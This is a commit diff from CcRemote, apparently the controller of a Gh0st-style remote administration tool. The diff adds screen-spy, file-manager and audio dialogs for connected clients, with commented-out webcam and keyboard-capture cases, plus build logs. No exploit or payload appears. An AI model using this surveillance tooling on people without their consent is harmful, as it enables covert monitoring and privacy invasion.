g_pConnectView->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
g_pCcRemoteDlg->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_BITMAPINFO: //
// 指接调用public函数非模态对话框会失去反应 不知道怎么回事
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
g_pCcRemoteDlg->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
g_pConnectView->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_AUDIO_START: // 语音
g_pConnectView->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_KEYBOARD_START:
g_pConnectView->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
break;*/
//进程遍历和窗口遍历公用的一个窗口类,在构造判断判断下类型来显示不同的数据
case TOKEN_WSLIST:
case TOKEN_PSLIST:
@@ -971,7 +1010,7 @@ LRESULT CCcRemoteDlg::OnOpenShellDialog(WPARAM wParam, LPARAM lParam)
//这里定义远程终端的对话框转到远程终端的CShellDlg类的定义 先查看对话框界面后转到OnInitDialog
CShellDlg *dlg = new CShellDlg(this, m_iocpServer, pContext);
// 设置父窗口为
// 设置父窗口为
dlg->Create(IDD_SHELL, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
@@ -994,4 +1033,106 @@ LRESULT CCcRemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam)
pContext->m_Dialog[1] = (int)dlg;
//先看一下这个对话框的界面再看这个对话框类的构造函数
return 0;
}
}
//自定义消息 打开屏幕监控窗口
LRESULT CCcRemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
// 设置父窗口为桌面
dlg->Create(IDD_SCREENSPY, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
pContext->m_Dialog[0] = SCREENSPY_DLG;
pContext->m_Dialog[1] = (int)dlg;
return 0;
}
//打开文件管理窗口
LRESULT CCcRemoteDlg::OnOpenManagerDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
//转到CFileManagerDlg 构造函数
CFileManagerDlg *dlg = new CFileManagerDlg(this, m_iocpServer, pContext);
// 设置父窗口为桌面
dlg->Create(IDD_FILE, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
pContext->m_Dialog[0] = FILEMANAGER_DLG;
pContext->m_Dialog[1] = (int)dlg;
return 0;
}
//音频管理窗口
LRESULT CCcRemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CAudioDlg *dlg = new CAudioDlg(this, m_iocpServer, pContext);
// 设置父窗口为卓面
dlg->Create(IDD_AUDIO, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
pContext->m_Dialog[0] = AUDIO_DLG;
pContext->m_Dialog[1] = (int)dlg;
return 0;
}
//绘制背景图片
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
//CDC MemDC; MemDC.CreateCompatibleDC(pDC);
//CBitmap Cbp;
//Cbp.LoadBitmap(IDB_BACKGROUND_CCREMOTE);
//MemDC.SelectObject(&Cbp);
//BITMAP Bp;
//Cbp.GetBitmap(&Bp);
//CRect rect;
//GetClientRect(&rect);
//pDC->StretchBlt(0, 0, rect.Width(), rect.Height(), &MemDC, 0, 0, Bp.bmWidth, Bp.bmHeight, SRCCOPY);
//MemDC.DeleteDC();
return TRUE;
return CDialogEx::OnEraseBkgnd(pDC);
}
HBRUSH CCcRemoteDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
HBRUSH hbr = CDialogEx::OnCtlColor(pDC, pWnd, nCtlColor);
// TODO: 在此更改 DC 的任何特性
//switch (pWnd->GetDlgCtrlID()) {
////case IDC_STATIC_NAME:
////case IDC_STATIC_ID:
////case IDC_STATIC_PW:
//// pDC->SetBkMode(TRANSPARENT);
//// pDC->SetTextColor(RGB(0, 255, 0));
//// hbr = (HBRUSH)GetStockObject(NULL_BRUSH);//空画刷,不加此句会有阴影
//// break;
//case IDR_TOOLBAR_MAIN:
// CWnd* pd;
// CRect rc;
// if (pWnd->GetDlgCtrlID() == IDR_TOOLBAR_MAIN)
// pd = (CWnd*)GetDlgItem(IDR_TOOLBAR_MAIN);
// pd->GetClientRect(&rc);
// ScreenToClient(&rc);
// pDC->SetBkMode(TRANSPARENT);
// pDC->SetTextColor(RGB(255, 0, 0));
// CBitmap bmp;
// bmp.LoadBitmap(IDB_BACKGROUND_CCREMOTE);
// CBrush brush(&bmp);
// CBrush* pOldBrush = (CBrush*)pDC->SelectObject(&brush);
// pDC->FillRect(&rc, &brush);
// hbr = (HBRUSH)brush;
// break;
//}
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
return hbr;
}

View File

@@ -7,6 +7,9 @@
#include "SEU_QQwry.h"
#include "CShellDlg.h"
#include "CSystemDlg.h"
#include "CScreenSpyDlg.h"
#include "CFileManagerDlg.h"
#include "CAudioDlg.h"
#pragma once
@@ -46,7 +49,7 @@ public:
private:
//--------------变量及常量----------------
SEU_QQwry *m_QQwry;
SEU_QQwry *m_QQwry; //识别IP区域
int m_OnlineCount;//上线计数
CBrush m_brush;//绘色函数
CMenu popup;//LIST菜单变量
@@ -99,6 +102,9 @@ public:
afx_msg LRESULT OnAddToList(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenShellDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenManagerDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
//-------------系统消息处理-------------
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
@@ -119,4 +125,7 @@ public:
afx_msg void OnClose();
private:
void SendSelectCommand(PBYTE pData, UINT nSize);
public:
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
};

View File

@@ -2,16 +2,28 @@ g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\audio.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\inputdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\inifile.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\csystemdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cshelldlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\csettingdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\caudiodlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
g:\ccremote\ccremote\ccremote\debug\ccremote.ilk
g:\ccremote\ccremote\ccremote\debug\ccremote.exe
g:\ccremote\ccremote\ccremote\debug\ccremote.pdb
g:\ccremote\ccremote\bin\ccremote.ilk
g:\ccremote\ccremote\bin\ccremote.exe
g:\ccremote\ccremote\bin\ccremote.pdb
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.res
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog

View File

@@ -1,18 +1,5 @@
 pch.cpp
CcRemote.cpp
CcRemoteDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(218): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(235): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
CpuUsage.cpp
TrueColorToolBar.cpp
正在生成代码...
Buffer.cpp
IOCPServer.cpp
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(129): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(715): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
CAudioDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(764): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(910): warning C4018: “>=”: 有符号/无符号不匹配
正在生成代码...
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\Debug\CcRemote.exe
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe

Binary file not shown.

View File

@@ -0,0 +1,63 @@
// CInputDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "FileTransferModeDlg.h"
#include "afxdialogex.h"
// CFileTransferModeDlg 对话框
IMPLEMENT_DYNAMIC(CFileTransferModeDlg, CDialog)
CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent /*=nullptr*/)
: CDialog(IDD_TRANSFERMODE_DLG, pParent)
{
}
CFileTransferModeDlg::~CFileTransferModeDlg()
{
}
void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog)
ON_CONTROL_RANGE(BN_CLICKED, IDC_OVERWRITE, IDC_CANCEL, OnEndDialog)
END_MESSAGE_MAP()
// CFileTransferModeDlg 消息处理程序
BOOL CFileTransferModeDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
CString str;
str.Format("此文件夹已包含一个名为“%s”的文件", m_strFileName);
for (int i = 0; i < str.GetLength(); i += 120)
{
str.Insert(i, "\n");
i += 1;
}
SetDlgItemText(IDC_TIPS, str);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
//重写这个函数是因为让继承他的子类能够重载这个函数来判断id吧
void CFileTransferModeDlg::OnEndDialog(UINT id)
{
// TODO: Add your control notification handler code here
EndDialog(id);
}

View File

@@ -0,0 +1,27 @@
#pragma once
#include "resource.h"
// CFileTransferModeDlg 对话框
class CFileTransferModeDlg : public CDialog
{
DECLARE_DYNAMIC(CFileTransferModeDlg)
public:
CString m_strFileName;
CFileTransferModeDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CFileTransferModeDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_TRANSFERMODE_DLG };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
afx_msg void OnEndDialog(UINT id);
virtual BOOL OnInitDialog();
DECLARE_MESSAGE_MAP()
public:
};

View File

@@ -0,0 +1,228 @@
////////////////////////////////////////////////////////////////
// MSDN Magazine -- June 2005
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
// Compiles with Visual Studio .NET 2003 (V7.1) on Windows XP. Tab size=3.
//
#include "pch.h"
#include "InputDlg.h"
#include "PublicStruct.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
//////////////////
// Note: Make sure nBufLen is big enough to hold your entire dialog template!
//
CDlgTemplateBuilder::CDlgTemplateBuilder(UINT nBufLen)
{
m_pBuffer = new WORD[nBufLen];
m_pNext = m_pBuffer;
m_pEndBuf = m_pNext + nBufLen;
}
CDlgTemplateBuilder::~CDlgTemplateBuilder()
{
delete [] m_pBuffer;
}
//////////////////
// Create template (DLGTEMPLATE)
//
DLGTEMPLATE* CDlgTemplateBuilder::Begin(DWORD dwStyle, const CRect& rc,
LPCTSTR text, DWORD dwStyleEx)
{
ASSERT(m_pBuffer==m_pNext); // call Begin first and only once!
DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer;
hdr->style = dwStyle; // copy style..
hdr->dwExtendedStyle = dwStyleEx; // ..and extended, too
hdr->cdit = 0; // number of items: zero
// Set dialog rectangle.
CRect rcDlg = rc;
hdr->x = (short)rcDlg.left;
hdr->y = (short)rcDlg.top;
hdr->cx = (short)rcDlg.Width();
hdr->cy = (short)rcDlg.Height();
// Append trailing items: menu, class, caption. I only use caption.
m_pNext = (WORD*)(hdr+1);
*m_pNext++ = 0; // menu (none)
*m_pNext++ = 0; // dialog class (use standard)
m_pNext = AddText(m_pNext, text); // append dialog caption
ASSERT(m_pNext < m_pEndBuf);
return hdr;
}
//////////////////
// Add dialog item (control).
//
void CDlgTemplateBuilder::AddItemTemplate(WORD wType, DWORD dwStyle,
const CRect& rc, WORD nID, DWORD dwStyleEx)
{
ASSERT(m_pNext < m_pEndBuf);
// initialize DLGITEMTEMPLATE
DLGITEMTEMPLATE& it = *((DLGITEMTEMPLATE*)AlignDWORD(m_pNext));
it.style = dwStyle;
it.dwExtendedStyle = dwStyleEx;
CRect rcDlg = rc;
it.x = (short)rcDlg.left;
it.y = (short)rcDlg.top;
it.cx = (short)rcDlg.Width();
it.cy = (short)rcDlg.Height();
it.id = nID;
// add class (none)
m_pNext = (WORD*)(&it+1);
*m_pNext++ = 0xFFFF; // next WORD is atom
*m_pNext++ = wType; // ..atom identifier
ASSERT(m_pNext < m_pEndBuf); // check not out of range
// increment control/item count
DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer;
hdr->cdit++;
}
//////////////////
// Add dialog item (control).
//
void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle,
const CRect& rc, LPCTSTR text, WORD nID, DWORD dwStyleEx)
{
AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx);
m_pNext = AddText(m_pNext, text); // append title
*m_pNext++ = 0; // no creation data
ASSERT(m_pNext < m_pEndBuf);
}
//////////////////
// Add dialog item (control).
//
void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle,
const CRect& rc, WORD wResID, WORD nID, DWORD dwStyleEx)
{
AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx);
*m_pNext++ = 0xFFFF; // next is resource id
*m_pNext++ = wResID; // ..here it is
*m_pNext++ = 0; // no extra stuff
ASSERT(m_pNext < m_pEndBuf);
}
//////////////////
// Append text to buffer. Convert to Unicode if necessary.
// Return pointer to next character after terminating NULL.
//
WORD* CDlgTemplateBuilder::AddText(WORD* buf, LPCTSTR text)
{
if (text) {
USES_CONVERSION;
wcscpy((WCHAR*)buf, T2W((LPTSTR)text));
buf += wcslen((WCHAR*)buf)+1;
} else {
*buf++ = 0;
}
return buf;
}
//////////////////
// Create string dialog. If no icon specified, use IDI_QUESTION. Note that
// the order in which the controls are added is the TAB order.
//
BOOL CInputDialog::Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent, WORD nIDIcon)
{
const int CXDIALOG = 200; // dialog width
const int DLGMARGIN = 7; // margins all around
const int CYSTATIC = 8; // height of static text
const int CYEDIT = 12; // height of edit control
const int CYSPACE = 5; // vertical space between controls
const int CXBUTTON = 40; // button width...
const int CYBUTTON = 15; // ..and height
CDlgTemplateBuilder& dtb = m_dtb;
CRect rc(
CPoint(0,0),
CSize(CXDIALOG, CYSTATIC + CYEDIT + CYBUTTON + 2*DLGMARGIN + 2*CYSPACE));
// create dialog header
DLGTEMPLATE* pTempl = dtb.Begin(WS_POPUPWINDOW|DS_MODALFRAME|WS_DLGFRAME,rc,caption);
// shrink main rect by margins
rc.DeflateRect(CSize(DLGMARGIN,DLGMARGIN));
// create icon if needed
if (nIDIcon) {
if (nIDIcon >= (WORD)IDI_APPLICATION) {
// if using a system icon, I load it here and set it in OnInitDialog
// because can't specify system icon in template, only icons from
// application resource file.
m_hIcon = ::LoadIcon(NULL, MAKEINTRESOURCE(nIDIcon));
nIDIcon = 0;
} else {
m_hIcon = NULL;
}
// The size is calculated in pixels, but it seems to work OK--???
CSize sz(GetSystemMetrics(SM_CXICON),GetSystemMetrics(SM_CYICON));
CRect rcIcon(rc.TopLeft(), sz);
dtb.AddItem(CDlgTemplateBuilder::STATIC, // add icon
WS_VISIBLE|WS_CHILD|SS_LEFT|SS_ICON, rc, nIDIcon, IDICON);
rc.left += sz.cx; // shrink main rect by width of icon
}
// add prompt
rc.bottom = rc.top + CYSTATIC; // height = height of static
dtb.AddItem(CDlgTemplateBuilder::STATIC, // add it
WS_VISIBLE|WS_CHILD|SS_LEFT, rc, prompt);
// add edit control
rc += CPoint(0, rc.Height() + CYSPACE); // move below static
rc.bottom = rc.top + CYEDIT; // height = height of edit control
dtb.AddItem(CDlgTemplateBuilder::EDIT, // add it ES_AUTOHSCROLL must be add
WS_VISIBLE|WS_CHILD|WS_BORDER|WS_TABSTOP|ES_AUTOHSCROLL, rc, m_str, IDEDIT);
// add OK button
rc += CPoint(0, rc.Height() + CYSPACE); // move below edit control
rc.bottom = rc.top + CYBUTTON; // height = button height
rc.left = rc.right - CXBUTTON; // width = button width
rc -= CPoint(CXBUTTON + DLGMARGIN,0); // move left one button width
dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add it
WS_VISIBLE|WS_CHILD|WS_TABSTOP|BS_DEFPUSHBUTTON, rc, _T("&OK"), IDOK);
// add Cancel button
rc += CPoint(CXBUTTON + DLGMARGIN,0); // move right again
dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add Cancel button
WS_VISIBLE|WS_CHILD|WS_TABSTOP, rc, _T("&Cancel"), IDCANCEL);
return InitModalIndirect(pTempl, pParent);
}
//////////////////
// Initialize dialog: if I loaded a system icon, set it in static control.
//
BOOL CInputDialog::OnInitDialog()
{
if (m_hIcon) {
CStatic* pStatic = (CStatic*)GetDlgItem(IDICON);
ASSERT(pStatic);
pStatic->SetIcon(m_hIcon);
}
return CDialog::OnInitDialog();
}
/////////////////
// User pressed OK: check for empty string if required flag is set.
//
void CInputDialog::OnOK()
{
UpdateData(TRUE);
if (m_bRequired && m_str.IsEmpty()) {
MessageBeep(0);
return; // don't quit dialog!
}
CDialog::OnOK();
}

View File

@@ -0,0 +1,83 @@
////////////////////////////////////////////////////////////////
// PixieLib(TM) Copyright 1997-2005 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
// Compiles with Visual Studio.NET 7.1 or greater. Set tabsize=3.
//
//////////////////
// Helper class to build a dialog template in memory. Only supports what's
// needed for CStringDialog.
//
class CDlgTemplateBuilder {
protected:
WORD* m_pBuffer; // internal buffer holds dialog template
WORD* m_pNext; // next WORD to copy stuff
WORD* m_pEndBuf; // end of buffer
// align ptr to nearest DWORD
WORD* AlignDWORD(WORD* ptr) {
ptr++; // round up to nearest DWORD
LPARAM lp = (LPARAM)ptr; // convert to long
lp &= 0xFFFFFFFC; // make sure on DWORD boundary
return (WORD*)lp;
}
void AddItemTemplate(WORD wType, DWORD dwStyle, const CRect& rc,
WORD nID, DWORD dwStyleEx);
public:
// Windows predefined atom names
enum { BUTTON=0x0080, EDIT, STATIC, LISTBOX, SCROLLBAR, COMBOBOX };
CDlgTemplateBuilder(UINT nBufLen=1024);
~CDlgTemplateBuilder();
DLGTEMPLATE* GetTemplate() { return (DLGTEMPLATE*)m_pBuffer; }
// functions to build the template
DLGTEMPLATE* Begin(DWORD dwStyle, const CRect& rc, LPCTSTR caption, DWORD dwStyleEx=0);
WORD* AddText(WORD* buf, LPCTSTR text);
void AddItem(WORD wType, DWORD dwStyle, const CRect& rc,
LPCTSTR text, WORD nID=-1, DWORD dwStyleEx=0);
void AddItem(WORD wType, DWORD dwStyle, const CRect& rc,
WORD nResID, WORD nID=-1, DWORD dwStyleEx=0);
};
//////////////////
// Class to implement a simple string input dialog. Kind of like MessageBox
// but it accepts a single string input from user. You provide the prompt. To
// use:
//
// CStringDialog dlg; // string dialog
// dlg.m_bRequired = m_bRequired; // if string is required
// dlg.Init(_T("Title"), _T("Enter a string:"), this, IDI_QUESTION);
// dlg.DoModal(); // run dialog
// CString result = dlg.m_str; // whatever the user typed
//
class CInputDialog : public CDialog {
public:
CString m_str; // the string returned [in,out]
BOOL m_bRequired; // string required?
HICON m_hIcon; // icon if not supplied
CInputDialog() { }
~CInputDialog() { }
// Call this to create the template with given caption and prompt.
BOOL Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent=NULL,
WORD nIDIcon=(WORD)IDI_QUESTION);
protected:
CDlgTemplateBuilder m_dtb; // place to build/hold the dialog template
enum { IDICON=1, IDEDIT }; // control IDs
// MFC virtual overrides
virtual BOOL OnInitDialog();
virtual void OnOK();
virtual void DoDataExchange(CDataExchange* pDX)
{
DDX_Text(pDX, IDEDIT, m_str);
}
};

View File

@@ -66,3 +66,19 @@ typedef struct
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
}LOGININFO;
typedef struct
{
DWORD dwSizeHigh;
DWORD dwSizeLow;
}FILESIZE;
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
#ifdef _UNICODE
#if defined _M_IX86
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
#elif defined _M_X64
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"")
#else
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
#endif
#endif

BIN
CcRemote/CcRemote/RCa16756 Normal file

Binary file not shown.

BIN
CcRemote/CcRemote/RDa16756 Normal file

Binary file not shown.

View File

@@ -1,30 +1,2 @@
f:\myapp\ccremote\bin\ccremote.ipdb
f:\myapp\ccremote\bin\ccremote.iobj
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.pch
f:\myapp\ccremote\ccremote\ccremote\release\vc141.pdb
f:\myapp\ccremote\ccremote\ccremote\release\pch.obj
f:\myapp\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
f:\myapp\ccremote\ccremote\ccremote\release\seu_qqwry.obj
f:\myapp\ccremote\ccremote\ccremote\release\inifile.obj
f:\myapp\ccremote\ccremote\ccremote\release\cpuusage.obj
f:\myapp\ccremote\ccremote\ccremote\release\csystemdlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\cshelldlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\csettingdlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\ccremotedlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.obj
f:\myapp\ccremote\ccremote\ccremote\release\iocpserver.obj
f:\myapp\ccremote\ccremote\ccremote\release\buffer.obj
f:\myapp\ccremote\bin\ccremote.exe
f:\myapp\ccremote\bin\ccremote.pdb
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.res
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\ccremote.write.1u.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.res
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe

View File

@@ -2,15 +2,20 @@
pch.cpp
CcRemote.cpp
CcRemoteDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(161): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(164): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(169): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(307): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(324): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(794): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(876): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(312): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(335): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(826): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(908): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CScreenSpyDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
CSettingDlg.cpp
CShellDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
@@ -31,11 +36,11 @@ f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': Th
IOCPServer.cpp
